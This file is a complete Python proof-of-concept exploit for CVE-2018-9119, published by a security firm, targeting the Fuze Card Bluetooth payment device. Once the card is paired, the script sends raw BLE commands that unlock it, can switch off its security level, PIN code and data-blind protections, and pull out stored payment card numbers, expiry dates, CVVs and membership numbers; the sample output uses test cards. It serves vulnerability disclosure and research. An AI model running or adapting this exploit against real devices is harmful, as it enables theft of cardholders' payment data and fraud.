#!/usr/bin/python

# Fuze Card Paired Data Retrieval PoC - Fuze Firmware Version 0.1.73
# CVE-2018-9119

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++++++:--/++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++/:-......-:/++++++++++++++++++++++++++++++++
#++++++++++++++++++++++/////::-..............-:://///+++++++++++++++++++++++
#++++++++++++++++++++++..............-:..............+++++++++++++++++++++++
#++++++++++++++++++++++..........-://+++/:-..........+++++++++++++++++++++++
#++++++++++++++++++++++......://++++++++++++//::.....+++++++++++++++++++++++
#++++++++++++++++++++++......++++++++++++++++++/.....+++++++++++++++++++++++
#++++++++++++++++++++++......:/+++++++++++++++/-.....+++++++++++++++++++++++
#++++++++++++++++++++++.........--::////:::--........+++++++++++++++++++++++
#++++++++++++++++++++++-...........................:/+++++++++++++++++++++++
#++++++++++++++++++++++:.....-................--:/++++++++++++++++++++++++++
#+++++++++++++++++++++++-....-+///::::::::///+++++++++++++++++++++++++++++++
#+++++++++++++++++++++++/.....-/++++++++++++++++/::+++++++++++++++++++++++++
#++++++++++++++++++++++++/-.....-/++++++++/:--...-/+++++++++++++++++++++++++
#++++++++++++++++++++++++++:.......:/++/:.......:+++++++++++++++++++++++++++
#+++++++++++++++++++++++++++/-................-/++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++/:-..........-:/++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++/:--..--:/+++++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++++++++++++++++++(c) 2018 elttam Pty Ltd.+++
# Author: pritch

# Synopsis: Pairing with a Fuze card allows the bypass of enabled security
# features, and retrieval of stored plain text payment and membership card
# information. This PoC connects and retrieves any stored card information
# from a Fuze card device, and optionally disables the level 2 security,
# data blind, and pincode security features.

# Requirements: The Fuze card must be paired using bluetoothctl prior to
# executing this script.

# Example:
# $ ./defuze.py -h
# usage: defuze.py [-h] [-q] [-d] [-r] bdaddr
# 
# Fuze Card Review PoC - Fuze Firmware Version 0.1.73
# 
# positional arguments:
#   bdaddr         Fuze card bluetooth device address
# 
# optional arguments:
#   -h, --help     show this help message and exit
#   -d, --disable  disable card security features
#   -q, --quiet    only output card information
#   -r, --raw      output raw card information
# 
# See https://www.elttam.com.au for more information.
# $ ./defuze.py -d 54:D9:E4:00:46:79
# [+] Attempting to connect to 54:D9:E4:00:46:79...
#         Connected to 54:D9:E4:00:46:79
# [+] Disabling security features...
#         Setting security level 1:       Success
#         Setting pincode off:            Success
#         Setting data blind off:         Success
#         Setting nickname:               Success
# [+] Retrieving card data...
# TYPE NAME NUMBER EXPIRY CVV BRAND
# PAYMENT TESTCARD01 1111222233334444 06/19 001 VISA
# PAYMENT TESTCARD02 1111222233334444 06/19 002 VISA
# PAYMENT TESTCARD03 1111222233334444 06/19 003 VISA
# PAYMENT TESTCARD04 1111222233334444 06/19 004 VISA
# PAYMENT TESTCARD05 1111222233334444 06/19 005 VISA
# MEMBERSHIP TESTBAR01 1234567
# MEMBERSHIP TESTBAR02 1234567
# MEMBERSHIP TESTBAR03 1234567
# MEMBERSHIP TESTBAR04 1234567
# MEMBERSHIP TESTBAR05 1234567

import argparse
import sys
import binascii
from bluepy import btle

class NotifyDelegate(btle.DefaultDelegate):
    def __init__(self):
        btle.DefaultDelegate.__init__(self)
        self.message = ''

    def handleNotification(self, cHandle, data):
        self.message = binascii.b2a_hex(data)

class FuzePeripheral(object):
    def __init__(self, bd):
        self.p = btle.Peripheral(bd)
        self.p.setDelegate(NotifyDelegate())
        self.p.getServiceByUUID('0000ff01-0000-1000-8000-00805f9b34fb')
    
    def sendData(self, hex_string, write_handle=0x0018):
        self.p.writeCharacteristic(write_handle, binascii.unhexlify(hex_string), withResponse=True)

    def getResponse(self):
        result = ''
        while True:
            if(self.p.waitForNotifications(1.0)):
                ba = bytearray.fromhex(self.p.delegate.message)
                if ba[5] == 0xFF:
                    return 'failed'
                for b in ba:
                    if b > 0x1F and b < 0x7D:
                        result += chr(b)
                if ba[3] == ba[4]:
                    break
        return result

    def securityLevel(self, level=1):
        result = False
        if level in range(1,4):
            self.sendData('02bb01013{}000000000000000000000000000000'.format(str(level)))
            result = True if self.getResponse() != 'failed' else False
        return result

    def dataBlind(self, blind=True):
        self.sendData('02c701013{}000000000000000000000000000000'.format('0' if blind else '1'))
        result = True if self.getResponse() != 'failed' else False
        return result

    def unlockScreen(self):
        self.sendData('02c4010100000000000000000000000000000000')
        result = True if self.getResponse() != 'failed' else False
        return result

    def pincode(self, pincode=True):
        self.sendData('02c501013{}300000000000000000000000000000'.format('1' if pincode else '0'))
        result = True if self.getResponse() != 'failed' else False
        return result

    def setNickname(self):
        self.sendData('02b901013036656c7474616d0000000000000000')
        result = True if self.getResponse() != 'failed' else False
        return result

    def getPaymentCards(self):
        payment_cards = []
        for i in range(1,16):
            n = '{:02d}'.format(i)
            self.sendData('02be0101303{}3{}00000000000000000000000000'.format(n[0],n[1]))
            response = self.getResponse()
            if response != '' and response != 'failed':
                payment_cards.append(response)
        return payment_cards
    
    def getMembershipCards(self):
        membership_cards = []
        for i in range(1,31):
            n = '{:02d}'.format(i)
            self.sendData('02be0101313{}3{}00000000000000000000000000'.format(n[0],n[1]))
            response = self.getResponse()
            if response != '' and response != 'failed':
                membership_cards.append(response)
        return membership_cards

def defuze(args):
    def log(string):
        if not args.quiet:
            sys.stdout.write(string)
            sys.stdout.flush()
    
    log('[+] Attempting to connect to {}...\n'.format(args.bdaddr))
    fuze = FuzePeripheral(args.bdaddr)
    log('\tConnected to {}\n'.format(fuze.p.addr))

    fuze.unlockScreen()

    if args.disable:
        log('[+] Disabling security features...\n')
        log('\tSetting security level 1:\t')
        log('Success\n') if fuze.securityLevel(1) else log('Failed\n')
        log('\tSetting pincode off:\t\t')
        log('Success\n') if fuze.pincode(False) else log('Failed\n')
        log('\tSetting data blind off:\t\t')
        log('Success\n') if fuze.dataBlind(False) else log('Failed\n')
        log('\tSetting nickname:\t\t')
        log('Success\n') if fuze.setNickname() else log('Failed\n')

    log('[+] Retrieving card data...\n')
    payment_cards = fuze.getPaymentCards()
    membership_cards = fuze.getMembershipCards()
    if args.raw:
        for c in payment_cards: print c
        for c in membership_cards: print c
    else:
        print 'TYPE NAME NUMBER EXPIRY CVV BRAND'
        for c in payment_cards:
            name = c[5:5+int(c[3:5])]
            i = len(name)+7
            number = c[i:i+16]
            i += len(number)
            expiry = c[i:i+5]
            i += len(expiry)
            cvv = c[i:i+3]
            i += len(cvv)+2
            brand = c[i:-1]
            print 'PAYMENT {} {} {} {} {}'.format(name, number, expiry, cvv, brand)
        for c in membership_cards:
            name = c[5:5+int(c[3:5])]
            i = len(name)+5
            number = c[i+2:i+2+int(c[i:i+2])]
            i += len(number)+2
            print 'MEMBERSHIP {} {}'.format(name, number)
    
if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description='Fuze Card Paired Data Retrieval PoC - Fuze Firmware Version 0.1.73',
        epilog='See https://www.elttam.com.au for more information.'
        )
    parser.add_argument('-d', '--disable', action='store_true', help='disable card security features')
    parser.add_argument('-q', '--quiet', action='store_true', help='only output card information')
    parser.add_argument('-r', '--raw', action='store_true', help='output raw card information')
    parser.add_argument('bdaddr', help='Fuze card bluetooth device address')
    defuze(parser.parse_args())
